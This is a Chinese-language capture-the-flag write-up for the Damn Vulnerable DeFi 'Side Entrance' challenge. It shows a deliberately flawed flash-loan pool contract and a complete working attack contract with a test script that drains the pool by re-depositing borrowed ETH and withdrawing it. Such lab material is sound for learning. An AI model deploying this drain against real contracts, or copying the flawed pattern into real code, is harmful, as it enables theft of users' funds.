side-entrance
题目链接:https://www.damnvulnerabledefi.xyz/challenges/4.html
题目描述:
有一个借贷池合约,允许任何人存入 ETH,并在任何时间点取出。这个借贷池已经有 1000 ETH 余额,并使用存入的 ETH 提供免费闪电贷来推广他们的系统。
你需要做的就是从借贷池中取光所有的 ETH
借贷池合约 SideEntranceLenderPool.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
// 使用闪电贷功能的合约接口
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;
// 记录地址对应的余额数量
mapping (address => uint256) private balances;
// 存入资金,并记录
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 提现方法
function withdraw() external {
// 获取调用者的可用余额
uint256 amountToWithdraw = balances[msg.sender];
// 余额置空
balances[msg.sender] = 0;
// 将可用余额从当前合约转到调用者
payable(msg.sender).sendValue(amountToWithdraw);
}
// 闪电贷方法
function flashLoan(uint256 amount) external {
// 获取余额
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
// 回调使用闪电贷的合约的execute 方法
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 确保余额已返还
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
该借贷池合约允许存入资金,并供别人免费使用闪电贷功能。
由于该合约提供了 deposit
存入资金的方法,如果将借出的 eth 调用该方法存入,一方面能够满足flashLoan
最后的归还要求,另一方面可以手动调用 withdraw
方法取出余额。
因此我们需要一个攻击合约 SideEntranceAttack.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";
contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
using Address for address payable;
// 借贷池合约
SideEntranceLenderPool public pool;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
}
// 闪电贷方法
function flashLoan() external onlyOwner {
// 调用借贷池合约的 flashLoan 借出全部余额
pool.flashLoan(address(pool).balance);
// 提取余额,将余额转入该合约
pool.withdraw();
// 将该合约的余额转入攻击者的地址
payable(msg.sender).sendValue(address(this).balance);
}
function execute() external override payable {
require(msg.sender == address(pool), "caller not the pool");
// 将借出的 eth 再次存入
pool.deposit{value: msg.value}();
}
receive () external payable {}
}
攻击步骤:
- 调用借贷池合约的
flashLoan
方法,借出全部余额 - 借贷池合约执行回调 - 调用
execute
,该方法中调用deposit
存入借出的 eth 到 借贷池合约 - 调用借贷池合约的
withdraw
,将存入的 eth 转出到该合约 - 将合约中的余额转出到攻击者的地址
最后在测试用例 side-entrance.challenge.js
编写我们的执行代码
it('Exploit', async function () {
// attacker 地址部署攻击合约
const SideEntranceAttackFactory = await ethers.getContractFactory(
'SideEntranceAttack',
attacker
)
const sideEntranceReveive = await SideEntranceAttackFactory.deploy(
this.pool.address
)
await sideEntranceReveive.flashLoan()
})
执行 yarn side-entrance
,测试通过!